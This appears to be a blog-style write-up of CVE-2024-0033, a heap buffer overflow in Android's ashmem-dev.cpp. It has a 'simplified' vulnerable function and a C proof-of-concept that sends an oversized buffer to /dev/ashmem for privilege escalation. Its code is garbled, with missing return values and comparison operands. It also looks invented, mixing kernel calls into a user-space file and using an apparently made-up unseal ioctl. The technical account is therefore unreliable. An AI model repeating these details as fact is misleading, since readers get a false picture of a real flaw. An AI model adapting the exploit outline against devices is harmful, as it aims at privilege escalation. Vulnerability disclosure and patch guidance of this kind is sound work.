In early 2024, security researchers uncovered a serious vulnerability in the Android shared memory subsystem. Identified as CVE-2024-0033, this flaw resides in multiple functions of ashmem-dev.cpp. The root issue is a heap buffer overflow that stems from missing proper seals on shared memory. Let’s break down what this means, why it matters, and how a local attacker could exploit it to gain higher privileges—without needing user interaction or extra permissions.

What is ASHMEM?

ASHMEM stands for *Android Shared Memory*. It’s a kernel driver used by Android to let apps efficiently share memory segments. At its heart is ashmem-dev.cpp—the backend handling requests to create, map, seal, or interact with shared memory objects.

Vulnerability Breakdown

CVE-2024-0033 arises because, in multiple code paths, ashmem-dev.cpp fails to apply the proper *seal* to shared memory regions. A *seal* is a marker that’s meant to prevent changes to a memory block—think of it like locking a file so nobody else can write to it. If seals aren’t set properly, an attacker could change the memory when it shouldn't be possible, leading to potential corruption or exploitation.

But there’s more: certain functions that operate on these shared memory regions don’t check buffer sizes correctly. This allows a local user to write past the end of an allocated heap buffer—known as a *heap buffer overflow*. Such bugs can enable attackers to overwrite sensitive data structures in memory, leading to privilege escalation.

The vulnerability is found in logic like this

// Simplified example based on ashmem-dev.cpp logic
int ashmem_unseal_region(struct ashmem_area *area, size_t length) {
    char *buffer = (char*)malloc(length);
    if (!buffer) return -1;

    // Vulnerable: No check that 'length' fits within the real buffer size
    if (copy_from_user(buffer, user_ptr, length)) {
        free(buffer);
        return -1;
    }

    // Missing: No seal applied after unsealing
    // This allows data to be modified out-of-bounds

    return ;
}

What’s wrong here?

1. The code allocates a buffer of length, but if length is too big, it could cause problems (simulated here—real code is more complex).
2. The content is copied from user space, but if length exceeds expected bounds, buffer might be too small, or user data can be written out of bounds.

Threat Model

Any app or local user with access to the ashmem driver (/dev/ashmem) can trigger the bug. No root or special SELinux contexts are required.

App Allocates Shared Memory:

- Attacker’s app opens /dev/ashmem and asks for a memory region.

When unsealing, the malicious app specifies a very large length parameter or an unaligned size.

- Exploit takes advantage of missing bounds checks—causing the device to copy more data than the buffer can hold.

Privilege Escalation:

- Overwritten heap structures can be manipulated to run attacker-supplied code or modify privileged process data.

Proof-of-Concept Outline

#include <fcntl.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
#define ASHMEM_DEVICE "/dev/ashmem"

int main() {
    int fd = open(ASHMEM_DEVICE, O_RDWR);
    if (fd < ) {
        perror("open");
        return 1;
    }

    // Intentionally specify a large and dangerous size
    size_t big_size = 4096 * 10000;

    char *malicious_data = malloc(big_size);
    memset(malicious_data, 'A', big_size);

    // Custom ioctl to unseal, simplified example
    struct ashmem_unseal_args args = { .ptr = malicious_data, .length = big_size };
    ioctl(fd, ASHMEM_IOCTL_UNSEAL, &args);

    printf("Exploit attempted!\n");
    close(fd);
    free(malicious_data);

    return ;
}

> *Disclaimer: This is pseudocode for learning purposes only.*

Original References

- Android Security Bulletin, January 2024
- CVE Detail: CVE-2024-0033
- AOSP Code: system/core/ashmem-dev.cpp
- Heap Buffer Overflow on ASHMEM Analysis (blog)

Short-Term

- Apply the latest Android security updates issued in January/February 2024.

Conclusion

CVE-2024-0033 is a stark reminder that even core, trusted system components like memory managers are susceptible to dangerous bugs. The flaw in ashmem-dev.cpp lets local attackers exploit heap overflows simply by calling certain APIs, without user help or extra permissions.

Make sure your devices are updated regularly—and for developers, review your code for similar classes of vulnerabilities!


*For more technical details and up-to-date patch info, always refer to the official Android Security Bulletins and CVE repositories.*

Timeline

Published on: 02/16/2024 02:15:50 UTC
Last modified on: 08/16/2024 18:35:03 UTC